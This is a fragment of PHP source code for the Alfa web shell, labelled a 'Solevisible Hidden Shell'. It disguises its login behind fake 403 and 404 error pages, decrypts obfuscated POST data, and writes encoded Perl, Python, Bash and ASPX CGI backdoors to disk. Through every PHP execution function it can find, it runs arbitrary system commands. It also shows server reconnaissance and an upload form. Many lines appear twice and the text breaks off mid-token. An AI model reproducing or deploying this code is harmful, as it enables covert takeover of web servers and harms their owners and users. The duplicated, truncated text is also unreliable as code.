if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
@header('location: '.$_SERVER["PHP_SELF"]);
}
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
exit;
}
}
}elseif($config['AlfaLoginPage']=='404'){
}elseif($config['AlfaLoginPage']=='404'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
@header('location: '.$_SERVER["PHP_SELF"]);
}
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
exit;
}
}
}
}
}
}
function decrypt_post($str){
function decrypt_post($str){
if(__ALFA_POST_ENCRYPTION__){
if(__ALFA_POST_ENCRYPTION__){
$pwd = __ALFA_SECRET_KEY__;
$pwd = __ALFA_SECRET_KEY__;
$pwd = __ZW5jb2Rlcg($pwd);
$pwd = __ZW5jb2Rlcg($pwd);
$str = __ZGVjb2Rlcg($str);
$str = __ZGVjb2Rlcg($str);
$enc_chr = "";
$enc_chr = "";
$enc_str = "";
$enc_str = "";
$i = 0;
$i = 0;
while ($i < strlen($str)) {
while ($i < strlen($str)) {
for ($j = 0; $j < strlen($pwd); $j++) {
for ($j = 0; $j < strlen($pwd); $j++) {
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_str .= $enc_chr;
$enc_str .= $enc_chr;
$i++;
$i++;
if ($i >= strlen($str))
if ($i >= strlen($str))
break;
break;
}
}
}
}
return __ZGVjb2Rlcg($enc_str);
return __ZGVjb2Rlcg($enc_str);
}else{
}else{
return __ZGVjb2Rlcg($str);
return __ZGVjb2Rlcg($str);
}
}
}
}


function _AlfaSecretKey(){
function _AlfaSecretKey(){
$secret = @$_COOKIE["AlfaSecretKey"];
$secret = @$_COOKIE["AlfaSecretKey"];
if(!isset($_COOKIE["AlfaSecretKey"])){
if(!isset($_COOKIE["AlfaSecretKey"])){
$secret = uniqid(mt_rand(), true);
$secret = uniqid(mt_rand(), true);
__alfa_set_cookie("AlfaSecretKey", $secret);
__alfa_set_cookie("AlfaSecretKey", $secret);
}
}
return $secret;
return $secret;
}
}
function alfa_getColor($target){
function alfa_getColor($target){
if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
return $GLOBALS["DB_NAME"]["color"][$target];
return $GLOBALS["DB_NAME"]["color"][$target];
}else{
}else{
$target = $GLOBALS["__ALFA_COLOR__"][$target];
$target = $GLOBALS["__ALFA_COLOR__"][$target];
if(is_array($target)){
if(is_array($target)){
return $target["key_color"];
return $target["key_color"];
}else{
}else{
return $target;
return $target;
}
}
}
}
}
}
function alfaCssLoadColors(){
function alfaCssLoadColors(){
$css = "";
$css = "";
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
if(!is_array($value)){
if(!is_array($value)){
$value = alfa_getColor($key);
$value = alfa_getColor($key);
$css .= ".{$key}{color: {$value};}";
$css .= ".{$key}{color: {$value};}";
}else{
}else{
if(isset($value["multi_selector"])){
if(isset($value["multi_selector"])){
foreach($value["multi_selector"] as $k => $v){
foreach($value["multi_selector"] as $k => $v){
$color = alfa_getColor($key);
$color = alfa_getColor($key);
$code = str_replace("{color}", $color, $v);
$code = str_replace("{color}", $color, $v);
$css .= $k."{".$code."}";
$css .= $k."{".$code."}";
}
}
}
}
}
}
}
}
return $css;
return $css;
}
}
if(isset($_POST['ajax'])){
if(isset($_POST['ajax'])){
function AlfaNum(){
function AlfaNum(){
$args = func_get_args();
$args = func_get_args();
$alfax = array();
$alfax = array();
$find = array();
$find = array();
for($i=1;$i<=10;$i++){
for($i=1;$i<=10;$i++){
$alfax[] = $i;
$alfax[] = $i;
}
}
foreach($args as $arg){
foreach($args as $arg){
$find[] = $arg;
$find[] = $arg;
}
}
echo '<script>';
echo '<script>';
foreach($alfax as $alfa){
foreach($alfax as $alfa){
if(in_array($alfa,$find))
if(in_array($alfa,$find))
continue;
continue;
echo 'alfa'.$alfa."_=";
echo 'alfa'.$alfa."_=";
}
}
echo '""</script>';
echo '""</script>';
}}
}}
function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
if(!$GLOBALS["DB_NAME"]["cgi_api"]){
if(!$GLOBALS["DB_NAME"]["cgi_api"]){
return "";
return "";
}
}
if(isset($_COOKIE["alfacgiapi_mode"])){
if(isset($_COOKIE["alfacgiapi_mode"])){
return "";
return "";
}
}
$cmd_pure = $cmd;
$cmd_pure = $cmd;
$is_curl = function_exists('curl_version');
$is_curl = function_exists('curl_version');
$is_socket = function_exists('fsockopen');
$is_socket = function_exists('fsockopen');
if($is_curl||$is_socket){
if($is_curl||$is_socket){
$recreate = false;
$recreate = false;
if(isset($_COOKIE["alfacgiapi"])){
if(isset($_COOKIE["alfacgiapi"])){
if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
$recreate = true;
$recreate = true;
$lang = $_COOKIE["alfacgiapi"];
$lang = $_COOKIE["alfacgiapi"];
}
}
}
}
if(!isset($_COOKIE["alfacgiapi"])||$recreate){
if(!isset($_COOKIE["alfacgiapi"])||$recreate){
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
if($lang == "aspx"){
if($lang == "aspx"){
alfaWriteTocgiapi("aspx.aspx",$aspx);
alfaWriteTocgiapi("aspx.aspx",$aspx);
}else{
}else{
alfaWriteTocgiapi($lang.".alfa",$source);
alfaWriteTocgiapi($lang.".alfa",$source);
}
}
alfacgihtaccess('cgi', "alfacgiapi/");
alfacgihtaccess('cgi', "alfacgiapi/");
}else{
}else{
$lang = $_COOKIE["alfacgiapi"];
$lang = $_COOKIE["alfacgiapi"];
}
}
$cgi_ext = ".alfa";
$cgi_ext = ".alfa";
if($lang=="aspx"){
if($lang=="aspx"){
$cgi_ext = ".aspx";
$cgi_ext = ".aspx";
}
}
$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
if($is_curl){
if($is_curl){
$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$post = new AlfaCURL();
$post = new AlfaCURL();
$data = $post->Send($address, "post", $cmd);
$data = $post->Send($address, "post", $cmd);
}elseif($is_socket){
}e
$server = $_SERVER["SERVER_NAME"];
$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$data = _alfa_fsockopen($server,$uri,$cmd);
}
$out = "";
if(strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false){
if($set_cookie){
__alfa_set_cookie("alfacgiapi", $lang);
}
if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
$out = $res[1];
}
}elseif($lang=="perl"){
return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
}elseif($lang=="py"){
return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
}elseif($lang=="bash" && $GLOBALS['sys']=="win"){
return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
}else{
if($set_cookie){
__alfa_set_cookie("alfacgiapi_mode", "off");
}
}
return trim($out);
}else{
return "";
}
}
function alfaGetCwd(){
if(function_exists("getcwd")){
return @getcwd();
}else{
return dirname($_SERVER["SCRIPT_FILENAME"]);
}
}
function alfaEx($in,$re=false,$cgi=true,$all=false){
$data = _alfa_php_cmd($in,$re);
if(empty($data)&&$cgi||$all){
if($GLOBALS['sys']=='unix'){
if(strlen(_alfa_php_cmd("whoami"))==0||$all){
$cmd = _alfa_cgicmd($in);
if(!empty($cmd)){
return $cmd;
}
}
}
}
return $data;
}
function _alfa_php_cmd($in,$re=false){
$out='';
try{
if($re)$in=$in." 2>&1";
if(function_exists('exec')){
@exec($in,$out);
$out = @join("\n",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists('proc_open')){
$pipes = array();
$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists('COM')){
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _alfa_fsockopen($server,$uri,$post){
$socket = @fsockopen($server, 80, $errno, $errstr, 15);
if($socket){
$http = "POST {$uri} HTTP/1.0\r\n";
$http .= "Host: {$server}\r\n";
$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http .= "Content-length: " . strlen($post) . "\r\n";
$http .= "Connection: close\r\n\r\n";
$http .= $post . "\r\n\r\n";
fwrite($socket, $http);
$contents = "";
while (!@feof($socket)) {
$contents .= @fgets($socket, 4096);
}
list($header, $body) = explode("\r\n\r\n", $contents, 2);
@fclose($socket);
return $body;
}else{
return "";
}
}
if(isset($_GET["solevisible"])){
@error_reporting(E_ALL ^ E_NOTICE);
echo '<html>';
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
echo "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\\","/",@alfaGetCwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
echo"<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
echo"<font color=red>";
echo "$disfun";
echo"</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\\","/",@alfaGetCwd()).'/" size="59"><